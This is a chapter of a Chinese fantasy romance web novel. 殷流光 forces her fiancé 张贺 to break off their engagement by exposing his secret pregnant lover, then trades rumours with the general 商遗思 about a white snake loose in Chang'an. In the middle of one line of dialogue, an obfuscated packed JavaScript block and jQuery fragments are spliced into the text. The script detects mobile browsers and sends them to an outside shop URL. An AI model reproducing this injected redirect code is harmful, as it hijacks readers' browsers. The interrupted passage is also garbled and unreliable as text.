16. 登门退婚

作品:《大王,封口费交一下

    “这我就不知道了,不过婚姻大事是一辈子的事情,轻易不能儿戏,或许娘子只是想要再确认一下,郎君是可托付终生的人。”知意依旧素着脸,虽然心中带气,直想把这敢算计欺辱娘子的狗贼拖去见官乱棍打死,却牢记着娘子的吩咐,原原本本把她教的话说了出来。


    张贺回想起前日见到殷家四娘的情景。


    虽然只是来上了杯茶,但也能看出来,她是个娇弱怕生的女子,如今竟然背着父亲偷偷约自己相见,还说什么托付终生的话,显然是已经对他动了情。


    他不禁得意起来,整了整衣襟:“如此,劳烦转告娘子,某必定准时赴约。”


    ……


    等到了约定的时辰,张贺远远便望见罗家茶肆外的棚子里,坐着个戴着帷帽的女子。


    他走过来坐下,道:“四娘子怎么约在了这么简陋的地方?”


    “只是稍微说几句话,倒也不需要特意挑什么地方,这里离我家不远,出来方便些。”殷流光笑道,抬手给他倒了杯茶:“郎君请喝。”


    见她处处温柔小意,张贺更是笃定了自己的猜测,没有碰茶杯,径直越过粗瓷杯子握住了殷流光的手。


    “四娘,那天见你,我便觉得你很适合娶回家做娘子。”见殷流光没有挣脱,只是含笑望着他,他心里更是自得,道:“有你主持中馈,明年进士考试我肯定能一举夺魁,到时你就是进士娘子了,放心,我答应了你阿耶,不会亏待你的。”


    等他说完,殷流光才不动声色抽回手,道:“那不知郎君准备何时请冰人上我家?”


    “这个嘛,自然是越快越好。”


    毕竟桂娘的肚子可等不得。


    殷流光眸色微闪,微笑着将身边的东西放到茶案上,推给张贺。


    “这是什么?”望着桌上的一摞药包,张贺甚是奇怪。


    “这是安胎药啊。”殷流光说得慢条斯理,张贺却猛然浑身一震,下意识道:“你送我这个干什么!”


    女子的帷帽被风吹起,露出秋水般的瞳孔,明明是与在殷家见到的一模一样的脸,浑身气质却截然不同,讥诮冷然,仿佛能洞穿他所有秘密。


    “给谁用的,郎君自然清楚。”


    她微微压低了声音,漫不经心:“怀胎三个月,正是不稳当的时候呐。”


    这是昨夜桂娘说过的话……张贺惊惧无比,颤抖着推开桌子起身,指着她道:“你究竟是怎么……!”


    女子岿然不动,坐在原位,周围已经有好奇的看客往这边张望,她道:“如果你想把事情闹大,就尽管高声喊叫。”


    僵硬片刻,他终是抵不住周围人窥探的目光,坐了回去,道:“你想怎样!”


    “很简单。”殷流光曼声开口:“你亲自登门告诉我父亲,你无才无德不配娶我。”


    “怎么可能!”张贺手撑住桌子,低吼出声。


    不知道殷家四娘子是怎么知道他和桂娘的事的……这一年他们连邻居都瞒过去了,她怎么会知道!


    况且今日受了这种羞辱,叫他怎么能忍!


    张贺怒气上头,登时咬牙朝殷流光扬起手,但还没碰到她的帷帽,就被凌空而来的马鞭打了个措手不及。


    他惨叫出声,扭头一看打人者居然是个坐在马背上的金吾卫将军,旁边还有个骑在马上的青衣道士,将军的明光铠猎猎耀眼,他立刻不敢吱声。


    商遗思道:“当街殴打女子,可知是什么罪?”


    “小民知错了,小民知错了,求将军饶了某这遭吧!”张贺吓得连连求饶,殷流光忍不住笑出声,被商遗思瞥了眼,只好扁扁嘴不笑了,被那道士多看了好几眼。


    她对张贺道:“我记得,你亡兄死了不到一年,你还没出孝期……如果你不愿意,那就等着京兆府治你个□□之罪吧。”


    张贺此刻哪敢有什么嚣张气焰,他还等着备考明年的进士考,不能出差错,慌忙道:“我知道了,我这几天就登门退亲!绝不敢多说一句!”


    殷流光点头,张贺灰头土脸地匆匆逃走。


    殷流光走了出去,站在马前对商遗思行了一礼,对他笑眯眯道:“多谢大王相助,大王这是去哪?”


    “日常巡街。”商遗思言简意赅。


    他身旁的道士颇为有兴趣地道:“望尘,这位貌美的小娘子是何人?”


    此人逆着光,大晴天还戴着青色箬笠,殷流光看不清楚他的脸。


    “与你无关。”商遗思冷冷道:“太子派你从青雾山上下来是跟我巡街的,不是让你到处乱逛喝酒吃茶,跟路边胡姬调笑的。”


    他道:“还不去太平坊巡查?”


    道士响亮地“啧”了一声,不情不愿地走了。


    平素巡街这种活怎么会需要金吾卫大将军亲自做,还要青雾山的道士陪同……道士走后,殷流光转了转眼珠:“可是京城出了什么事?”


    商遗思没有答话,握紧缰绳就要御马离开,却被殷流光接下来的话钉在原地:“可是白蛇祸乱长安一事?”


    他目光沉沉地看着她:“你的消息倒是灵通。”


    看来她猜对了!


    这件事最近京城闹得沸沸扬扬,她这两天忙着探查张贺的事,自然眼观六路耳听八方,晚上在京城里飞过屋檐的时候,听到不少关于这件事的流言。


    毕竟太平久了,人们就都喜欢听些妖异邪祟之事,只是这次的事,似乎跟广平侯府有关。


    她道:“听说是公主回公主宅的晚上,见到了一条黄金瞳的白蛇钻进侯府?”


    觑着商遗思的脸色就知道这传言肯定是真的,她接着把自己听来的说了出来:“随后第二天,广平侯府附近也有人家说看到了一条水桶那么粗、三个人摞起来那么高的巨蛇!现在都说侯府有妖孽作祟,是被怨气吸引过去的。”


    侯府似乎也出手禁止谣言在民间传播,但谣言在短短几天内就像是生了脚般,飞快地走遍了整个长安的大街小巷。


    殷流光满脸都是八卦的神情,踮起脚凑近了些,商遗思的马打了个响鼻,吹起她的帷帽。


    微风轻拂,商遗思垂下眼,便撞进一双顾盼生辉的眼眸里。


    他晃神了一瞬,茶肆旁有人挑了担子卖花,深秋的木芙蓉灼灼盛放在她身后,他从前怎么没有注意到,今年长安的秋光这么浓烈喧闹。


    他几乎没有听清殷流光的话。


    “天子才获了瑞兽麒麟,紧接着就有妖蛇乱窜,这不是打脸吗?想必……大王定是奉了圣命要去抓蛇吧?”


    殷流光见商遗思冷冷看着自己,但什么也没说,心里有点莫名其妙,小心翼翼地又叫了他一声,他像是猝然回神,道:“看来你这几日没闲着。”


    方才那恼羞成怒的男子显然是被殷流光捏中了痛处,想必她这几日晚上也跟监视公主宅的那几晚一样忙得很,飞了不少地方。


    一想到她做这些都是为了退婚好嫁给祁承筠,以谋取世子妃的高位,十分的心意里有十一分都是算计,商遗思心中便有几分不喜。


    此女太过精明,当初因着她化形能力特殊,想要招拢,如今看来,若是招拢了她不知还要额外生出多少枝节,现在这样两不相干倒是正好,他道:“你问这些做什么?既然打定了主意要做你的世子妃,这些事就不该好奇。”


    “我就是好奇,好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986108|193637||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    奇嘛。”殷流光讪讪道,最后追加一句:“不过大王若是想要抓到这条蛇复命,最好去查查琼池楼。”


    商遗思动作微顿,眸光如刀,问她:“为何?”


    “这些天所有自称看到过那条蛇的人,只要在长安城的地图上标出地点,很容易就能看出,中心点是琼池楼,而非在它隔壁坊的广平侯府。”


    虽然殷流光记仇还爱骗人,但跟着观山行走江湖这么久,基本的道义她还是有的。


    他方才出手相救,这条情报就当是报答他好了。


    只是不成想襄王看样子并不领情,他偏过头直视长街前方,淡淡道:“本王知道了。此事尚无定论,除了本王以外,莫要告诉旁人。”


    她点头应承,这件事牵扯到天子颜面,本就是很微妙的事情。


    商遗思说完,便纵马离去。


    “好歹说声谢谢呀,真是没礼貌。”殷流光咕哝着,转身瞧见卖花姑娘竹篮里的木芙蓉开得鲜艳,从荷包里掏出一吊钱给她:“这些我都买了,你数数钱够吗?”


    卖花姑娘惊喜道:“够了够了,谢谢娘子!”


    殷流光点头嘱咐道:“现在天已经快黑了,你快些回家吧,这些日子京城不安全,入夜后有邪祟出没,你这些日子卖花,不要在外面逗留到晚上。”


    卖花姑娘被她的话吓得脸色煞白,连连点头,拎着空竹篓就赶紧离开了长街。


    殷流光抱着花,慢悠悠走向家门。


    今日解决了张贺这厮,很是顺利。


    接下来只要等着祁承筠那边的消息了。


    ……


    “四娘,你可是跟张贺说了什么话,他为何会无缘无故退亲?”


    前厅里,殷流光低头绞着帕子,一脸无辜:“女儿什么也没说啊。”


    没过几日,张贺就遵守承诺登门致歉,说自己要专心备考明年的进士考试,暂时无暇成家,也配不上殷家四娘,婉拒了这门亲事。


    殷阆惊愕莫名,宋绯一门心思扑在殷守善身上,根本没心思搭理殷流光,倒是回家探亲的殷流灵知道了这消息,冷笑了几声。


    “想是事后打听了四娘的身世,被吓跑了吧。”她道:“母亲是那样,焉知女儿不是?”


    殷阆大怒:“流灵!你住嘴!你妹妹的阿娘也是你能拿来说嘴的?!”


    殷流灵冷哼了声,不再说什么。


    从头到尾,殷流光都安安静静站着,殷阆见她这么平静,心道这孩子乖巧,被退亲也没有哭闹,想是把委屈都咽了下去。


    他和蔼了几分,道:“不嫁也好,你阿兄喝了你的药,最近气色有所好转,你留在家中,说不定再喂三四次药,他便好转了。若是他能清醒,四娘你就是他的救命恩人,到时候就算你一辈子不嫁,我也会让他这个做哥哥的养你一辈子!”


    殷流光乖巧地点头,道:“都依阿耶的。”


    ……


    同一时辰,襄王宅。


    白衣人跪在地毯上,羞愧万分:“属下大意!”


    他面前的商遗思穿着一身家常的竹青色襕衫,墨发半披,盘腿坐在靠窗的坐榻上,将面前的香炉盖掀开,这香炉精巧无比,上刻百兽,中置古字香篆,点燃香后,烟雾便从百兽口中眼中弥散,诡谲威严。


    他慢慢地将香粉压实,道:“此女太过聪明,且又是祁承筠心悦之人。”


    “不能用,便除。”说到“除”这个字,他的手顿了顿,想起今日长街相见,她身后灼灼盛放的木芙蓉,却仿佛不及她身上的流香袭人。


    “大王想要我如何除?”


    跪在地上的男人站起身,左眼的黄金瞳阴冷渗人。